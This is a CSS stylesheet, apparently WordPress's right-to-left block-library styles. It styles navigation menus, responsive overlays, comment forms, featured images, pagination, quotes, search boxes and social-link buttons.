.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:visible;
  visibility:visible;
  width:auto;
}

.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{
  right:0;
  top:100%;
}
@media (min-width:782px){
  .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:0;
  }
}

.wp-block-navigation-submenu{
  display:flex;
  position:relative;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{
  stroke:currentColor;
}

button.wp-block-navigation-item__content{
  background-color:initial;
  border:none;
  color:currentColor;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  line-height:inherit;
  text-align:right;
  text-transform:inherit;
}

.wp-block-navigation-submenu__toggle{
  cursor:pointer;
}

.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{
  padding-left:.85em;
  padding-right:0;
}
.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{
  margin-right:-.6em;
  pointer-events:none;
}

.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){
  padding:0;
}
.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{
  gap:inherit;
}
:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){
  padding:.5em 1em;
}

:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){
  padding:.5em 1em;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{
  left:0;
  right:auto;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
  left:-1px;
  right:-1px;
}
@media (min-width:782px){
  .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    right:auto;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{
  background-color:#fff;
  border:1px solid #00000026;
}

.wp-block-navigation.has-background .wp-block-navigation__submenu-container{
  background-color:inherit;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{
  color:#000;
}

.wp-block-navigation__container{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
  list-style:none;
  margin:0;
  padding-right:0;
}
.wp-block-navigation__container .is-responsive{
  display:none;
}

.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{
  flex-grow:1;
}
@keyframes overlay-menu__fade-in-animation{
  0%{
    opacity:0;
    transform:translateY(.5em);
  }
  to{
    opacity:1;
    transform:translateY(0);
  }
}
.wp-block-navigation__responsive-container{
  bottom:0;
  display:none;
  left:0;
  position:fixed;
  right:0;
  top:0;
}
.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){
  color:inherit;
}
.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){
  background-color:inherit !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open{
  animation:overlay-menu__fade-in-animation .1s ease-out;
  animation-fill-mode:forwards;
  background-color:inherit;
  display:flex;
  flex-direction:column;
  overflow:auto;
  padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20em) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem);
  z-index:100000;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-navigation__responsive-container.is-menu-open{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-justification-setting, inherit);
  display:flex;
  flex-direction:column;
  flex-wrap:nowrap;
  overflow:visible;
  padding-top:calc(2rem + 24px);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  justify-content:flex-start;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{
  display:none;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{
  border:none;
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:initial;
  padding-left:2rem;
  padding-right:2rem;
  position:static;
  visibility:visible;
  width:auto;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  gap:inherit;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  padding-top:var(--wp--style--block-gap, 2em);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{
  padding:0;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  align-items:var(--navigation-layout-justification-setting, initial);
  display:flex;
  flex-direction:column;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{
  background:#0000 !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
  left:auto;
  right:auto;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){
    background-color:inherit;
    display:block;
    position:relative;
    width:100%;
    z-index:auto;
  }
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{
    display:none;
  }
  .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
    right:0;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{
  background-color:#fff;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{
  color:#000;
}

.wp-block-navigation__toggle_button_label{
  font-size:1rem;
  font-weight:700;
}

.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{
  background:#0000;
  border:none;
  color:currentColor;
  cursor:pointer;
  margin:0;
  padding:0;
  text-transform:inherit;
  vertical-align:middle;
}
.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{
  fill:currentColor;
  display:block;
  height:24px;
  pointer-events:none;
  width:24px;
}

.wp-block-navigation__responsive-container-open{
  display:flex;
}
.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container-open:not(.always-shown){
    display:none;
  }
}

.wp-block-navigation__responsive-container-close{
  left:0;
  position:absolute;
  top:0;
  z-index:2;
}
.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}

.wp-block-navigation__responsive-close{
  width:100%;
}
.has-modal-open .wp-block-navigation__responsive-close{
  margin-left:auto;
  margin-right:auto;
  max-width:var(--wp--style--global--wide-size, 100%);
}
.wp-block-navigation__responsive-close:focus{
  outline:none;
}

.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{
  box-sizing:border-box;
}

.wp-block-navigation__responsive-dialog{
  position:relative;
}

.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
  margin-top:46px;
}
@media (min-width:782px){
  .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
    margin-top:32px;
  }
}

html.has-modal-open{
  overflow:hidden;
}

.wp-block-navigation .wp-block-navigation-item__label{
  overflow-wrap:break-word;
}
.wp-block-navigation .wp-block-navigation-item__description{
  display:none;
}

.link-ui-tools{
  border-top:1px solid #f0f0f0;
  padding:8px;
}

.link-ui-block-inserter{
  padding-top:8px;
}

.link-ui-block-inserter__back{
  margin-right:8px;
  text-transform:uppercase;
}

.components-popover-pointer-events-trap{
  background-color:initial;
  cursor:pointer;
  inset:0;
  position:fixed;
  z-index:1000000;
}

.wp-block-navigation .wp-block-page-list{
  align-items:var(--navigation-layout-align, initial);
  background-color:inherit;
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation .wp-block-navigation-item{
  background-color:inherit;
}

.is-small-text{
  font-size:.875em;
}

.is-regular-text{
  font-size:1em;
}

.is-large-text{
  font-size:2.25em;
}

.is-larger-text{
  font-size:3em;
}

.has-drop-cap:not(:focus):first-letter{
  float:right;
  font-size:8.4em;
  font-style:normal;
  font-weight:100;
  line-height:.68;
  margin:.05em 0 0 .1em;
  text-transform:uppercase;
}

body.rtl .has-drop-cap:not(:focus):first-letter{
  float:none;
  margin-right:.1em;
}

p.has-drop-cap.has-background{
  overflow:hidden;
}

p.has-background{
  padding:1.25em 2.375em;
}

:where(p.has-text-color:not(.has-link-color)) a{
  color:inherit;
}

p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-author{
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-left:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}

.wp-block-post-comments-form{
  box-sizing:border-box;
}
.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){
  font-weight:inherit;
}
.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){
  font-family:inherit;
}
.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){
  font-size:inherit;
}
.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){
  line-height:inherit;
}
.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){
  font-style:inherit;
}
.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){
  letter-spacing:inherit;
}
.wp-block-post-comments-form input[type=submit]{
  box-shadow:none;
  cursor:pointer;
  display:inline-block;
  overflow-wrap:break-word;
  text-align:center;
}
.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{
  padding:calc(.667em + 2px);
}
.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments-form .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments-form .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}

.wp-block-post-date{
  box-sizing:border-box;
}

:where(.wp-block-post-excerpt){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__excerpt{
  margin-bottom:0;
  margin-top:0;
}

.wp-block-post-excerpt__more-text{
  margin-bottom:0;
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__more-link{
  display:inline-block;
}

.wp-block-post-featured-image{
  margin-left:0;
  margin-right:0;
}
.wp-block-post-featured-image a{
  display:block;
  height:100%;
}
.wp-block-post-featured-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
  width:100%;
}
.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{
  width:100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{
  background-color:#000;
  inset:0;
  position:absolute;
}
.wp-block-post-featured-image{
  position:relative;
}

.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{
  background-color:initial;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{
  opacity:0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{
  opacity:.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{
  opacity:.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{
  opacity:.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{
  opacity:.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{
  opacity:.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{
  opacity:.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{
  opacity:.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{
  opacity:.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{
  opacity:.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{
  opacity:1;
}
.wp-block-post-featured-image:where(.alignleft,.alignright){
  width:100%;
}

.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-terms{
  box-sizing:border-box;
}
.wp-block-post-terms .wp-block-post-terms__separator{
  white-space:pre-wrap;
}

.wp-block-post-time-to-read,.wp-block-post-title{
  box-sizing:border-box;
}

.wp-block-post-title{
  word-break:break-word;
}
.wp-block-post-title a{
  display:inline-block;
}

.wp-block-preformatted{
  box-sizing:border-box;
  white-space:pre-wrap;
}

:where(.wp-block-preformatted.has-background){
  padding:1.25em 2.375em;
}

.wp-block-pullquote{
  box-sizing:border-box;
  overflow-wrap:break-word;
  padding:4em 0;
  text-align:center;
}
.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{
  color:inherit;
}
.wp-block-pullquote blockquote{
  margin:0;
}
.wp-block-pullquote p{
  margin-top:0;
}
.wp-block-pullquote p:last-child{
  margin-bottom:0;
}
.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{
  max-width:420px;
}
.wp-block-pullquote cite,.wp-block-pullquote footer{
  position:relative;
}
.wp-block-pullquote .has-text-color a{
  color:inherit;
}

:where(.wp-block-pullquote){
  margin:0 0 1em;
}

.wp-block-pullquote.has-text-align-left blockquote{
  text-align:right;
}

.wp-block-pullquote.has-text-align-right blockquote{
  text-align:left;
}

.wp-block-pullquote.is-style-solid-color{
  border:none;
}
.wp-block-pullquote.is-style-solid-color blockquote{
  margin-left:auto;
  margin-right:auto;
  max-width:60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:2em;
  margin-bottom:0;
  margin-top:0;
}
.wp-block-pullquote.is-style-solid-color blockquote cite{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote cite{
  color:inherit;
}

.wp-block-post-template{
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.wp-block-post-template{
  background:none;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:left;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:right;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}

.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination.aligncenter{
  justify-content:center;
}

.wp-block-query-title,.wp-block-quote{
  box-sizing:border-box;
}

.wp-block-quote{
  overflow-wrap:break-word;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){
  margin-bottom:1em;
  padding:0 1em;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{
  font-size:1.5em;
  font-style:italic;
  line-height:1.6;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{
  font-size:1.125em;
  text-align:left;
}
.wp-block-quote>cite{
  display:block;
}

.wp-block-read-more{
  display:block;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-read-more:where(:not([style*=text-decoration])){
  text-decoration:none;
}
.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{
  text-decoration:none;
}

ul.wp-block-rss{
  list-style:none;
  padding:0;
}
ul.wp-block-rss.wp-block-rss{
  box-sizing:border-box;
}
ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  list-style:none;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 0 1em 1em;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}

.wp-block-search__button{
  margin-right:10px;
  word-break:normal;
}
.wp-block-search__button.has-icon{
  line-height:0;
}
.wp-block-search__button svg{
  height:1.25em;
  min-height:24px;
  min-width:24px;
  width:1.25em;
  fill:currentColor;
  vertical-align:text-bottom;
}

:where(.wp-block-search__button){
  border:1px solid #ccc;
  padding:6px 10px;
}

.wp-block-search__inside-wrapper{
  display:flex;
  flex:auto;
  flex-wrap:nowrap;
  max-width:100%;
}

.wp-block-search__label{
  width:100%;
}

.wp-block-search__input{
  -webkit-appearance:initial;
          appearance:none;
  border:1px solid #949494;
  flex-grow:1;
  margin-left:0;
  margin-right:0;
  min-width:3rem;
  padding:8px;
  text-decoration:unset !important;
}

.wp-block-search.wp-block-search__button-only .wp-block-search__button{
  flex-shrink:0;
  margin-right:0;
  max-width:100%;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{
  max-width:calc(100% - 100px);
}
.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  min-width:0 !important;
  transition-property:width;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__input{
  flex-basis:100%;
  transition-duration:.3s;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{
  overflow:hidden;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{
  border-left-width:0 !important;
  border-right-width:0 !important;
  flex-basis:0;
  flex-grow:0;
  margin:0;
  min-width:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  width:0 !important;
}

:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){
  border:1px solid #949494;
  box-sizing:border-box;
  padding:4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{
  border:none;
  border-radius:0;
  padding:0 4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{
  outline:none;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){
  padding:4px 8px;
}

.wp-block-search.aligncenter .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  float:left;
}

.wp-block-separator{
  border:none;
  border-top:2px solid;
}
.wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
  height:auto;
  line-height:1;
  text-align:center;
}
.wp-block-separator.is-style-dots:before{
  color:currentColor;
  content:"···";
  font-family:serif;
  font-size:1.5em;
  letter-spacing:2em;
  padding-left:2em;
}

.wp-block-site-logo{
  box-sizing:border-box;
  line-height:0;
}
.wp-block-site-logo a{
  display:inline-block;
  line-height:0;
}
.wp-block-site-logo.is-default-size img{
  height:auto;
  width:120px;
}
.wp-block-site-logo img{
  height:auto;
  max-width:100%;
}
.wp-block-site-logo a,.wp-block-site-logo img{
  border-radius:inherit;
}
.wp-block-site-logo.aligncenter{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}
.wp-block-site-logo.is-style-rounded{
  border-radius:9999px;
}

.wp-block-site-title a{
  color:inherit;
}

.wp-block-social-links{
  background:none;
  box-sizing:border-box;
  margin-right:0;
  padding-left:0;
  padding-right:0;
  text-indent:0;
}
.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{
  border-bottom:0;
  box-shadow:none;
  text-decoration:none;
}
.wp-block-social-links .wp-social-link a{
  padding:.25em;
}
.wp-block-social-links .wp-social-link svg{
  height:1em;
  width:1em;
}
.wp-block-social-links .wp-social-link span:not(.screen-reader-text){
  font-size:.65em;
  margin-left:.5em;
  margin-right:.5em;
}
.wp-block-social-links.has-small-icon-size{
  font-size:16px;
}
.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{
  font-size:24px;
}
.wp-block-social-links.has-large-icon-size{
  font-size:36px;
}
.wp-block-social-links.has-huge-icon-size{
  font-size:48px;
}
.wp-block-social-links.aligncenter{
  display:flex;
  justify-content:center;
}
.wp-block-social-links.alignright{
  justify-content:flex-end;
}

.wp-block-social-link{
  border-radius:9999px;
  display:block;
  height:auto;
  transition:transform .1s ease;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-social-link{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.wp-block-social-link a{
  align-items:center;
  display:flex;
  line-height:0;
  transition:transform .1s ease;
}
.wp-block-social-link:hover{
  transform:scale(1.1);
}

.wp-block-social-links .wp-block-social-link.wp-social-link{
  display:inline-block;
  margin:0;
  padding:0;
}
.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{
  color:currentColor;
  fill:currentColor;
}

.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{
  background-color:#f0f0f0;
  color:#444;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{
  background-color:#f90;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{
  background-color:#1ea0c3;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{
  background-color:#0757fe;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{
  background-color:#1e1f26;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{
  background-color:#02e49b;
  color:#fff;
}
